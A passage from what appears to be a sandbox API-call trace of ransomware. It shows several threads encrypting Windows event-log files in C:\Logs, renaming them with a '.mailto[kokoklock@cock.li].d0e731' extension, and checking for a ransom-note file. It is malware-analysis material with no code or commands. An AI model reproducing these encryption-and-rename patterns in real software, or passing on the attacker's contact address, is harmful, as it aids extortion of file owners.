0xf30ce546 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x2caee2ab [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x77bb680 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xdcb18eb5 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x50585c43 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xbe9f0c93 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x3dc1837 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x44ba5ca2 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x8470cc32 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x25c65b36 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0x9c6c74c0 [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xc401dfcd [0064.021] RtlRandom (in: Seed=0xaaafbc0 | out: Seed=0xaaafbc0) returned 0xbd275928 [0064.076] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 [0064.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0064.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efab8) returned 1 [0064.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b8188 [0064.079] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.079] ReadFile (in: hFile=0x788, lpBuffer=0x55b8188, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaaafb8c, lpOverlapped=0x0 | out: lpBuffer=0x55b8188*, lpNumberOfBytesRead=0xaaafb8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.344] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd28 [0064.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0064.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b40e8 [0064.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33ef9f0 [0064.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef9f0) returned 1 [0064.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0064.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0064.345] WriteFile (in: hFile=0x788, lpBuffer=0x55b40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaaafb8c, lpOverlapped=0x0 | out: lpBuffer=0x55b40e8*, lpNumberOfBytesWritten=0xaaafb8c*=0x4096, lpOverlapped=0x0) returned 1 [0064.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b40e8) returned 1 [0064.346] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.346] WriteFile (in: hFile=0x788, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaaafbc4, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xaaafbc4*=0x20, lpOverlapped=0x0) returned 1 [0064.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b8188) returned 1 [0064.346] WriteFile (in: hFile=0x788, lpBuffer=0x347d000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xaaafbd8, lpOverlapped=0x0 | out: lpBuffer=0x347d000*, lpNumberOfBytesWritten=0xaaafbd8*=0x8, lpOverlapped=0x0) returned 1 [0064.346] WriteFile (in: hFile=0x788, lpBuffer=0xaaafbf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaaafbd8, lpOverlapped=0x0 | out: lpBuffer=0xaaafbf0*, lpNumberOfBytesWritten=0xaaafbd8*=0x4, lpOverlapped=0x0) returned 1 [0064.346] WriteFile (in: hFile=0x788, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaaafbd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xaaafbd8*=0x4, lpOverlapped=0x0) returned 1 [0064.346] WriteFile (in: hFile=0x788, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xaaafbd8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xaaafbd8*=0x6c, lpOverlapped=0x0) returned 1 [0064.346] WriteFile (in: hFile=0x788, lpBuffer=0x33efae0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaaafbd8, lpOverlapped=0x0 | out: lpBuffer=0x33efae0*, lpNumberOfBytesWritten=0xaaafbd8*=0x20, lpOverlapped=0x0) returned 1 [0064.346] WriteFile (in: hFile=0x788, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaaafbd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xaaafbd8*=0x4, lpOverlapped=0x0) returned 1 [0064.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efb08) returned 1 [0064.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0064.346] CloseHandle (hObject=0x788) returned 1 [0064.495] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34323c0 [0064.495] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" [0064.495] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.495] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.576] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0064.576] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34346a8 [0064.576] wcscpy (in: _Dest=0x34346a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.577] wcscat (in: _Dest=0x34346a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.577] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34346a8) returned 1 [0064.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c7d40) returned 1 [0064.577] RtlExitUserThread (Status=0x1) Thread: id = 190 os_tid = 0x1170 [0063.444] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0063.765] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", dwFileAttributes=0x20) returned 1 [0063.765] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x784 [0063.765] GetFileSizeEx (in: hFile=0x784, lpFileSize=0xab2f8d8 | out: lpFileSize=0xab2f8d8*=69632) returned 1 [0063.766] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.766] ReadFile (in: hFile=0x784, lpBuffer=0xab2f8ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xab2f8a8, lpOverlapped=0x0 | out: lpBuffer=0xab2f8ac*, lpNumberOfBytesRead=0xab2f8a8*=0x4, lpOverlapped=0x0) returned 1 [0064.007] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.007] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0064.007] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.007] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd10 [0064.007] NtQuerySystemTime (in: CurrentTime=0xab2f884 | out: CurrentTime=0xab2f884*=132121176218934055) returned 0x0 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x165d493 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x6a040235 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xb65a887 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xb24f6fd2 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x9bffd12 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xea857e2f [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xfe912674 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x1b417c68 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x5023d50 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x87a19659 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x5bf1083f [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x218291af [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xbc6b0e6a [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xeccc5fb9 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x86d2dee0 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x90013651 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x13c2c3b9 [0064.007] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xa827a774 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x18bccd75 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x6edc8889 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x9a4458c0 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xbccee141 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x3c861f65 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xff7efff0 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xd3acc415 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x2a7cf5d4 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x2ed770e9 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x8793ba69 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xc46509c5 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xf26f565a [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0x1ef6a7e0 [0064.008] RtlRandom (in: Seed=0xab2f890 | out: Seed=0xab2f890) returned 0xad7a3bc9 [0064.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0064.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa90 [0064.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0064.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b40e8 [0064.019] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.019] ReadFile (in: hFile=0x784, lpBuffer=0x55b40e8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xab2f85c, lpOverlapped=0x0 | out: lpBuffer=0x55b40e8*, lpNumberOfBytesRead=0xab2f85c*=0x4096, lpOverlapped=0x0) returned 1 [0064.341] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0064.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.342] WriteFile (in: hFile=0x784, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xab2f85c, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xab2f85c*=0x4096, lpOverlapped=0x0) returned 1 [0064.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.343] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.343] WriteFile (in: hFile=0x784, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xab2f894, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xab2f894*=0x20, lpOverlapped=0x0) returned 1 [0064.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b40e8) returned 1 [0064.343] WriteFile (in: hFile=0x784, lpBuffer=0x33efa90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xab2f8a8, lpOverlapped=0x0 | out: lpBuffer=0x33efa90*, lpNumberOfBytesWritten=0xab2f8a8*=0x8, lpOverlapped=0x0) returned 1 [0064.343] WriteFile (in: hFile=0x784, lpBuffer=0xab2f8c0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xab2f8a8, lpOverlapped=0x0 | out: lpBuffer=0xab2f8c0*, lpNumberOfBytesWritten=0xab2f8a8*=0x4, lpOverlapped=0x0) returned 1 [0064.343] WriteFile (in: hFile=0x784, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xab2f8a8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xab2f8a8*=0x4, lpOverlapped=0x0) returned 1 [0064.343] WriteFile (in: hFile=0x784, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xab2f8a8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xab2f8a8*=0x6c, lpOverlapped=0x0) returned 1 [0064.343] WriteFile (in: hFile=0x784, lpBuffer=0x33efa40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xab2f8a8, lpOverlapped=0x0 | out: lpBuffer=0x33efa40*, lpNumberOfBytesWritten=0xab2f8a8*=0x20, lpOverlapped=0x0) returned 1 [0064.343] WriteFile (in: hFile=0x784, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xab2f8a8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xab2f8a8*=0x4, lpOverlapped=0x0) returned 1 [0064.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa68) returned 1 [0064.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa90) returned 1 [0064.344] CloseHandle (hObject=0x784) returned 1 [0064.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33f8520 [0064.494] wcscpy (in: _Dest=0x33f8520, _Source="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" [0064.494] wcscat (in: _Dest=0x33f8520, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" [0064.494] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.578] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8520) returned 1 [0064.578] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", dwFileAttributes=0x20) returned 0 [0064.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34344a8 [0064.578] wcscpy (in: _Dest=0x34344a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.578] wcscat (in: _Dest=0x34344a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.578] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344a8) returned 1 [0064.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0064.578] RtlExitUserThread (Status=0x1) Thread: id = 191 os_tid = 0x1174 [0063.444] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0063.764] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", dwFileAttributes=0x20) returned 1 [0063.764] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x780 [0063.764] GetFileSizeEx (in: hFile=0x780, lpFileSize=0xabaf908 | out: lpFileSize=0xabaf908*=69632) returned 1 [0063.764] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.764] ReadFile (in: hFile=0x780, lpBuffer=0xabaf8dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xabaf8d8, lpOverlapped=0x0 | out: lpBuffer=0xabaf8dc*, lpNumberOfBytesRead=0xabaf8d8*=0x4, lpOverlapped=0x0) returned 1 [0063.994] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd10 [0063.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33ef9f0 [0063.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa18 [0063.995] NtQuerySystemTime (in: CurrentTime=0xabaf8b4 | out: CurrentTime=0xabaf8b4*=132121176218934055) returned 0x0 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x77e76448 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x61f4380b [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x45531e28 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x883be8b8 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x3b393798 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x173d8d40 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x3f6d969c [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xd41259cb [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x9bf3f0b9 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xd9890046 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x97160e60 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x2ccd9006 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x974a7a48 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x2a357fdb [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x5d3af539 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xf0ff5b33 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xcde0e8f7 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xc6476187 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x53830826 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xb4fcb55e [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xa1b70f22 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xeffbdb29 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xeaf0c81f [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xe75a7708 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x37e1e6a6 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xd3712ec2 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xf0200c10 [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x4b90076f [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x7cddf [0063.995] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x953e4751 [0063.996] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0xc6304cee [0063.996] RtlRandom (in: Seed=0xabaf8c0 | out: Seed=0xabaf8c0) returned 0x67754688 [0064.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0064.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0064.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd10) returned 1 [0064.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e8908 [0064.006] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.006] ReadFile (in: hFile=0x780, lpBuffer=0x55e8908, 